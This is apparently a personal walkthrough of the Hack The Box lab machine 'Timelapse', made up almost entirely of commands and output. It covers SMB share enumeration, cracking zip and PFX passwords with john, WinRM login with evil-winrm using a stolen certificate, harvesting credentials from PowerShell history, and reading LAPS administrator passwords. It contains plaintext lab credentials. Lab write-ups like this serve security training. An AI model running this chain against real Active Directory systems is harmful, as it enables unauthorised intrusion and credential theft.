HTB Timelapse

$ nmap $IP -sV -T4 -n -Pn --max-rtt-timeout 1500ms --min-rate 1000 --max-retries 3 --open -p- -oA full_port_scan --stats-every=5s -vv

============================================================

| Domain Information via SMB session for 10.129.73.219 |

============================================================

[*] Enumerating via unauthenticated SMB session on 445/tcp

[+] Found domain information via SMB

NetBIOS computer name: DC01

NetBIOS domain name: TIMELAPSE

DNS domain: timelapse.htb

FQDN: dc01.timelapse.htb

Derived membership: domain member

Derived domain: TIMELAPSE

$ netexec smb $IP -u 'guest' -p '' -M spider_plus -o SHARE=Shares

$ cat ~/.nxc/modules/nxc_spider_plus/10.129.73.219.json | jq

$ smbclient -N //$IP/Shares

Jiri Formacek

%ProgramFiles%\LAPS

AdmPwd.UI.exe

AdmPwd.Utils.config

AdmPwd.Utils.dll

%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS

AdmPwd.PS.dll

AdmPwd.PS.format.ps1xml

AdmPwd.PS.psd1

AdmPwd.Utils.config

AdmPwd.Utils.dll

%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\en-us

AdmPwd.PS.dll-Help.xml

The installation for the CSE is done to folder:

%ProgramFiles%\LAPS\CSE

AdmPwd.dll

The installation for the Group Policy files is done to folders:

%WINDIR%\PolicyDefinitions

AdmPwd.admx

%WINDIR%\PolicyDefinitions\en-US

AdmPwd.adml

ContosoAdmin:6bQxjEeJ]KE0

$ 7z x LAPS.x64.msi -o./laps_extracted

-> Nothing

$ unzip winrm_backup.zip

-> supremelegacy

$ pfx2john legacyy_dev_auth.pfx > pfx.hash
$ john pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt

-> thuglegacy

PFX = certificate + private key combined in a single encrypted file. It’s a credential Windows uses to authenticate to WinRM. It came encrypted with a password, so we had to crack it first.

 $ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.pem
 $ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out key.pem
$ evil-winrm -i 10.129.73.219   # target IP
           -u legacyy          # username (taken from the cert CN)
           -c cert.pem         # identity certificate (proves who you are)
           -k key.pem          # private key (proves you actually own the cert)
           -S                  # SSL (port 5986, encrypted connection)

beacon> shell type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

whoami

ipconfig /all

netstat -ano |select-string LIST

$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck

$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force

$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)

invoke-command -computername localhost -credential $c -port 5986 -usessl -

SessionOption $so -scriptblock {whoami}

get-aduser -filter * -properties *

svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

beacon> shell powershell -c "$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force; $c = New-Object System.Management.Automation.PSCredential ('timelapse\svc_deploy', $p); Get-ADComputer DC01 -Properties ms-Mcs-AdmPwd -Credential $c | Select-Object ms-Mcs-AdmPwd"

ms-Mcs-AdmPwd

-------------

]CAqgq8+,s$$9t3D0pAOGI.9

$ evil-winrm -i $IP -u Administrator -p ']CAqgq8+,s$$9t3D0pAOGI.9'